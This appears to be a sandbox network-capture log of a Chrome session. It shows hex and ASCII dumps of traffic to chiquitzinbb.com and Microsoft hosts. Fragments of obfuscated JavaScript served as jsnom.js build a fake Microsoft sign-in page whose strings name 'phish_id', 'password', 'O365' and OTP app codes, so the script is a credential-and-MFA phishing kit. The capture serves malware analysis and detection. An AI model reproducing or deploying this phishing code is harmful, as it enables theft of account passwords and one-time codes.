2024-10-24 14:04:35 UTC	702	IN	HTTP/1.1 200 OK Content-Type: application/javascript; charset=utf-8 Content-Length: 49993 Connection: close Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000, immutable Content-Disposition: inline; filename="socket.io.min.js" Date: Sat, 03 Aug 2024 07:26:50 GMT ETag: "777eb8fd4f8320b6e5cc9a7159bdec6a" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Vercel-Cache: HIT X-Vercel-Id: fra1::4xmtd-1722670010047-e30d468233ba X-Cache: Hit from cloudfront Via: 1.1 b8455bc5c5405f573b6e4da5524ee9e2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 X-Amz-Cf-Id: ZJGrKuTl1ejpvzIBA2xhFseizLLwoMiECT_vyTHl8Yo_5UCEYjE9mw== Age: 7486066
2024-10-24 14:04:35 UTC	16384	IN	Data Raw: 2f 2a 21 0a 20 2a 20 53 6f 63 6b 65 74 2e 49 4f 20 76 34 2e 37 2e 35 0a 20 2a 20 28 63 29 20 32 30 31 34 2d 32 30 32 34 20 47 75 69 6c 6c 65 72 6d 6f 20 52 61 75 63 68 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 2e 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 74 29 3a 28 65 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 Data Ascii: /! Socket.IO v4.7.5 * (c) 2014-2024 Guillermo Rauch * Released under the MIT License. */!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof g
2024-10-24 14:04:35 UTC	16384	IN	Data Raw: 66 20 64 6f 63 75 6d 65 6e 74 29 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 61 74 74 61 63 68 45 76 65 6e 74 29 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 75 6e 6c 6f 61 64 22 2c 61 65 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 29 7b 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6f 6e 70 61 67 65 68 69 64 65 22 69 6e 20 49 3f 22 70 61 67 65 68 69 64 65 22 3a 22 75 6e 6c 6f 61 64 22 2c 61 65 2c 21 31 29 7d 66 75 6e 63 74 69 6f 6e 20 61 65 28 29 7b 66 6f 72 28 76 61 72 20 65 20 69 6e 20 73 65 2e 72 65 71 75 65 73 74 73 29 73 65 2e 72 65 71 75 65 73 74 73 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 65 29 26 26 73 65 2e 72 65 71 75 Data Ascii: f document)if("function"==typeof attachEvent)attachEvent("onunload",ae);else if("function"==typeof addEventListener){addEventListener("onpagehide"in I?"pagehide":"unload",ae,!1)}function ae(){for(var e in se.requests)se.requests.hasOwnProperty(e)&&se.requ
2024-10-24 14:04:35 UTC	15202	IN	Data Raw: 74 61 20 77 68 65 6e 20 72 65 63 6f 6e 73 74 72 75 63 74 69 6e 67 20 61 20 70 61 63 6b 65 74 22 29 3b 76 61 72 20 6e 3d 28 74 3d 74 68 69 73 2e 64 65 63 6f 64 65 53 74 72 69 6e 67 28 65 29 29 2e 74 79 70 65 3d 3d 3d 42 65 2e 42 49 4e 41 52 59 5f 45 56 45 4e 54 3b 6e 7c 7c 74 2e 74 79 70 65 3d 3d 3d 42 65 2e 42 49 4e 41 52 59 5f 41 43 4b 3f 28 74 2e 74 79 70 65 3d 6e 3f 42 65 2e 45 56 45 4e 54 3a 42 65 2e 41 43 4b 2c 74 68 69 73 2e 72 65 63 6f 6e 73 74 72 75 63 74 6f 72 3d 6e 65 77 20 50 65 28 74 29 2c 30 3d 3d 3d 74 2e 61 74 74 61 63 68 6d 65 6e 74 73 26 26 70 28 73 28 69 2e 70 72 6f 74 6f 74 79 70 65 29 2c 22 65 6d 69 74 52 65 73 65 72 76 65 64 22 2c 74 68 69 73 29 2e 63 61 6c 6c 28 74 68 69 73 2c 22 64 65 63 6f 64 65 64 22 2c 74 29 29 3a 70 28 73 28 69 Data Ascii: ta when reconstructing a packet");var n=(t=this.decodeString(e)).type===Be.BINARY_EVENT;n\|\|t.type===Be.BINARY_ACK?(t.type=n?Be.EVENT:Be.ACK,this.reconstructor=new Pe(t),0===t.attachments&&p(s(i.prototype),"emitReserved",this).call(this,"decoded",t)):p(s(i
2024-10-24 14:04:35 UTC	2023	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 2e 63 6c 65 61 6e 75 70 28 29 2c 74 68 69 73 2e 62 61 63 6b 6f 66 66 2e 72 65 73 65 74 28 29 2c 74 68 69 73 2e 5f 72 65 61 64 79 53 74 61 74 65 3d 22 63 6c 6f 73 65 64 22 2c 74 68 69 73 2e 65 6d 69 74 52 65 73 65 72 76 65 64 28 22 63 6c 6f 73 65 22 2c 65 2c 74 29 2c 74 68 69 73 2e 5f 72 65 63 6f 6e 6e 65 63 74 69 6f 6e 26 26 21 74 68 69 73 2e 73 6b 69 70 52 65 63 6f 6e 6e 65 63 74 26 26 74 68 69 73 2e 72 65 63 6f 6e 6e 65 63 74 28 29 7d 7d 2c 7b 6b 65 79 3a 22 72 65 63 6f 6e 6e 65 63 74 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 69 66 28 74 68 69 73 2e 5f 72 65 63 6f 6e 6e 65 63 74 69 6e 67 7c 7c 74 68 69 73 2e 73 6b 69 70 52 65 63 6f 6e 6e 65 63 74 29 72 Data Ascii: function(e,t){this.cleanup(),this.backoff.reset(),this._readyState="closed",this.emitReserved("close",e,t),this._reconnection&&!this.skipReconnect&&this.reconnect()}},{key:"reconnect",value:function(){var e=this;if(this._reconnecting\|\|this.skipReconnect)r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49743	157.230.134.73	443	5012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:04:35 UTC	397	OUT	GET /o/jsnom.js HTTP/1.1 Host: chiquitzinbb.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _cid=3208f6c68a77d81894f07f02460fe283
2024-10-24 14:04:36 UTC	274	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:04:35 GMT Server: Apache Last-Modified: Wed, 23 Oct 2024 09:34:45 GMT ETag: "18779-6252198a61007" Accept-Ranges: bytes Content-Length: 100217 X-Powered-By: PleskLin Connection: close Content-Type: application/javascript
2024-10-24 14:04:36 UTC	16384	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 5f 30 78 31 66 61 65 28 5f 30 78 33 34 62 61 31 39 2c 20 5f 30 78 35 39 38 62 31 38 29 20 7b 20 63 6f 6e 73 74 20 5f 30 78 35 39 65 62 30 35 20 3d 20 5f 30 78 35 39 65 62 28 29 3b 20 72 65 74 75 72 6e 20 5f 30 78 31 66 61 65 20 3d 20 66 75 6e 63 74 69 6f 6e 28 5f 30 78 31 66 61 65 35 39 2c 20 5f 30 78 33 39 31 66 64 35 29 20 7b 20 5f 30 78 31 66 61 65 35 39 20 3d 20 5f 30 78 31 66 61 65 35 39 20 2d 20 30 78 65 61 3b 20 6c 65 74 20 5f 30 78 63 62 63 31 36 39 20 3d 20 5f 30 78 35 39 65 62 30 35 5b 5f 30 78 31 66 61 65 35 39 5d 3b 20 72 65 74 75 72 6e 20 5f 30 78 63 62 63 31 36 39 3b 20 7d 2c 20 5f 30 78 31 66 61 65 28 5f 30 78 33 34 62 61 31 39 2c 20 5f 30 78 35 39 38 62 31 38 29 3b 20 7d 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 33 Data Ascii: function _0x1fae(_0x34ba19, _0x598b18) { const _0x59eb05 = _0x59eb(); return _0x1fae = function(_0x1fae59, _0x391fd5) { _0x1fae59 = _0x1fae59 - 0xea; let _0xcbc169 = _0x59eb05[_0x1fae59]; return _0xcbc169; }, _0x1fae(_0x34ba19, _0x598b18); }(function(_0x3
2024-10-24 14:04:36 UTC	16384	IN	Data Raw: 30 5c 78 32 30 5c 78 32 30 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 2e 66 6f 72 6d 42 75 74 74 6f 6e 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 70 6f 73 69 74 69 6f 6e 3a 5c 78 32 30 72 65 6c 61 74 69 76 65 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 5c 78 32 30 23 30 30 36 37 62 38 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 5c 78 32 30 23 30 30 36 37 62 38 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 Data Ascii: 0\x20\x20\x0a\x20\x20\x20\x20.formButton\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20position:\x20relative;\x0a\x20\x20\x20\x20\x20\x20\x20\x20border-color:\x20#0067b8;\x0a\x20\x20\x20\x20\x20\x20\x20\x20background-color:\x20#0067b8;\x0a\x20\x20\x20\x20\x20\x
2024-10-24 14:04:36 UTC	16384	IN	Data Raw: 74 2d 6b 65 79 66 72 61 6d 65 73 5c 78 32 30 64 6f 74 2d 66 6c 6f 61 74 69 6e 67 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 30 25 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6c 65 66 74 3a 5c 78 32 30 63 61 6c 63 28 2d 35 30 25 5c 78 32 30 2d 5c 78 32 30 35 70 78 29 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 37 35 25 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 Data Ascii: t-keyframes\x20dot-floating\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x200%\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20left:\x20calc(-50%\x20-\x205px);\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x2075%\x20{\x0a\x20\x20\x2
2024-10-24 14:04:36 UTC	16384	IN	Data Raw: 30 5c 78 32 30 5c 78 32 30 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 5c 78 32 30 31 35 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 5c 78 32 30 32 30 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 63 75 72 73 6f 72 3a 5c 78 32 30 70 6f 69 6e 74 65 72 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 2e 6e 65 77 32 5c Data Ascii: 0\x20\x20margin-left:\x2015px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20margin-bottom:\x2020px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20cursor:\x20pointer;\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20.new2\
2024-10-24 14:04:36 UTC	16384	IN	Data Raw: 76 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 62 75 74 74 6f 6e 5c 78 32 30 69 64 3d 5c 78 32 32 73 65 6e 64 41 70 70 43 6f 64 65 5c 78 32 32 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 66 6f 72 6d 42 75 74 74 6f 6e 5c 78 32 32 5c 78 32 30 74 79 70 65 3d 5c 78 32 32 73 75 62 6d 69 74 5c 78 32 32 3e 56 65 72 69 66 79 3c 2f 62 75 74 74 6f 6e 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 2f 64 69 76 3e 5c 78 30 61 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 21 2d 2d 5c 78 32 30 50 48 4f 4e 45 5c 78 32 30 2d 2d Data Ascii: v>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<button\x20id=\x22sendAppCode\x22\x20class=\x22formButton\x22\x20type=\x22submit\x22>Verify</button>\x0a\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20...\x20PHONE\x20--
2024-10-24 14:04:36 UTC	16384	IN	Data Raw: 32 65 34 64 61 28 30 78 66 66 29 20 2b 20 5f 30 78 34 66 31 66 33 32 5b 5f 30 78 31 32 65 34 64 61 28 30 78 31 31 66 29 5d 20 2b 20 27 5c 78 32 37 29 27 2c 20 5f 30 78 34 66 31 66 33 32 5b 27 62 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 27 5d 20 21 3d 20 5f 30 78 31 32 65 34 64 61 28 30 78 31 36 38 29 20 26 26 20 5f 30 78 34 66 31 66 33 32 5b 5f 30 78 31 32 65 34 64 61 28 30 78 66 33 29 5d 20 21 3d 20 5f 30 78 31 32 65 34 64 61 28 30 78 31 36 34 29 20 26 26 20 28 5f 30 78 32 33 33 31 65 63 5b 5f 30 78 31 32 65 34 64 61 28 30 78 31 37 38 29 5d 5b 5f 30 78 31 32 65 34 64 61 28 30 78 66 36 29 5d 20 3d 20 5f 30 78 31 32 65 34 64 61 28 30 78 65 65 29 29 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 5f 30 78 34 66 31 66 33 32 20 3d 3d 3d 20 27 4c 44 Data Ascii: 2e4da(0xff) + _0x4f1f32[_0x12e4da(0x11f)] + '\x27)', _0x4f1f32['backgroundImage'] != _0x12e4da(0x168) && _0x4f1f32[_0x12e4da(0xf3)] != _0x12e4da(0x164) && (_0x2331ec[_0x12e4da(0x178)][_0x12e4da(0xf6)] = _0x12e4da(0xee))); if (_0x4f1f32 === 'LD
2024-10-24 14:04:36 UTC	1913	IN	Data Raw: 20 27 2e 62 61 63 6b 41 72 72 6f 77 27 2c 20 27 40 6d 61 69 6c 2e 27 2c 20 27 40 67 6d 61 69 6c 2e 63 6f 6d 27 2c 20 27 6c 6f 63 61 74 69 6f 6e 27 2c 20 27 68 74 74 70 73 3a 2f 2f 67 6f 6f 67 6c 65 2e 63 6f 6d 27 2c 20 27 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 27 2c 20 27 70 68 69 73 68 5f 69 64 27 2c 20 27 75 73 65 72 4c 61 6e 67 75 61 67 65 27 2c 20 27 40 31 36 33 2e 27 2c 20 27 70 61 73 73 77 6f 72 64 5f 63 6f 6d 6d 61 6e 64 27 2c 20 27 70 61 73 73 77 6f 72 64 27 2c 20 27 31 38 33 37 32 32 34 75 42 70 6b 6c 77 27 2c 20 27 6e 65 77 2d 73 65 73 73 69 6f 6e 27 2c 20 27 2e 65 6d 61 69 6c 4c 61 62 65 6c 27 2c 20 27 40 70 72 6f 74 6f 6e 6d 61 69 6c 2e 27 2c 20 27 4f 33 36 35 27 2c 20 27 52 51 5f 4f 54 50 5f 41 50 50 5f 43 4f 44 45 27 2c 20 27 76 61 6c 75 Data Ascii: '.backArrow', '@mail.', '@gmail.com', 'location', 'https://google.com', 'preventDefault', 'phish_id', 'userLanguage', '@163.', 'password_command', 'password', '1837224uBpklw', 'new-session', '.emailLabel', '@protonmail.', 'O365', 'RQ_OTP_APP_CODE', 'valu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49744	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:04:36 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-24 14:04:36 UTC	465	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=9641 Date: Thu, 24 Oct 2024 14:04:36 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49749	13.107.246.45	443	5012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:04:36 UTC	653	OUT	GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://chiquitzinbb.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 14:04:36 UTC	778	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:04:36 GMT Content-Type: image/svg+xml Content-Length: 673 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:46 GMT ETag: 0x8DB5C3F47E260FD x-ms-request-id: 74b63407-d01e-0057-02ee-256d65000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241024T140436Z-16849878b78jfqwd1dsrhqg3aw00000007zg000000002640 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:04:36 UTC	673	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 21 02 39 81 41 Data Ascii: Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9!9A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49753	157.230.134.73	443	5012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:04:36 UTC	669	OUT	GET /favicon.ico HTTP/1.1 Host: chiquitzinbb.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 14:04:36 UTC	276	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:04:36 GMT Server: Apache Last-Modified: Sat, 09 May 2020 23:50:03 GMT ETag: "1bb33-5a53fc5cd436b" Accept-Ranges: bytes Content-Length: 113459 X-Powered-By: PleskLin Connection: close Content-Type: image/vnd.microsoft.icon
2024-10-24 14:04:37 UTC	16384	IN	Data Raw: 00 00 01 00 07 00 00 00 00 00 01 00 20 00 2d 2c 00 00 76 00 00 00 80 80 00 00 01 00 20 00 28 08 01 00 a3 2c 00 00 40 40 00 00 01 00 20 00 28 42 00 00 cb 34 01 00 30 30 00 00 01 00 20 00 a8 25 00 00 f3 76 01 00 20 20 00 00 01 00 20 00 a8 10 00 00 9b 9c 01 00 18 18 00 00 01 00 20 00 88 09 00 00 43 ad 01 00 10 10 00 00 01 00 20 00 68 04 00 00 cb b6 01 00 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 00 00 00 01 00 08 06 00 00 00 5c 72 a8 66 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 20 00 49 44 41 54 78 9c ed 9d 79 60 54 d5 f5 c7 bf b3 4f 32 33 49 26 7b 20 2b 4b c2 92 b0 13 24 6c 15 01 85 8a a8 55 ac 1b 5a 5b 45 ad 56 6b 5b 7f 6d dd ea 5a b5 ad d6 a5 d6 5a 5b 17 6c ad 0a 6a 95 3d 61 87 20 90 90 04 48 02 81 2c 64 cf 90 4c Data Ascii: -,v (,@@ (B400 %v C hPNGIHDR\rfpHYsod IDATxy`TO23I&{ +K$lUZ[EVk[mZZ[lj=a H,dL
2024-10-24 14:04:37 UTC	16384	IN	Data Raw: ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff cc cc cc ff cc cc cc ff cc cc cc ff cc cc cc ff cc cc cc ff cc cc cc ff fd fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: ------------------------------------------------
2024-10-24 14:04:37 UTC	16384	IN	Data Raw: ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff cc cc cc ff cc cc cc ff cc cc cc ff cc cc cc ff cc cc cc ff cc cc cc ff fd fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: ------------------------------------------------
2024-10-24 14:04:37 UTC	16384	IN	Data Raw: ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff cc cc cc ff cc cc cc ff cc cc cc ff cc cc cc ff cc cc cc ff cc cc cc ff fd fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: ------------------------------------------------
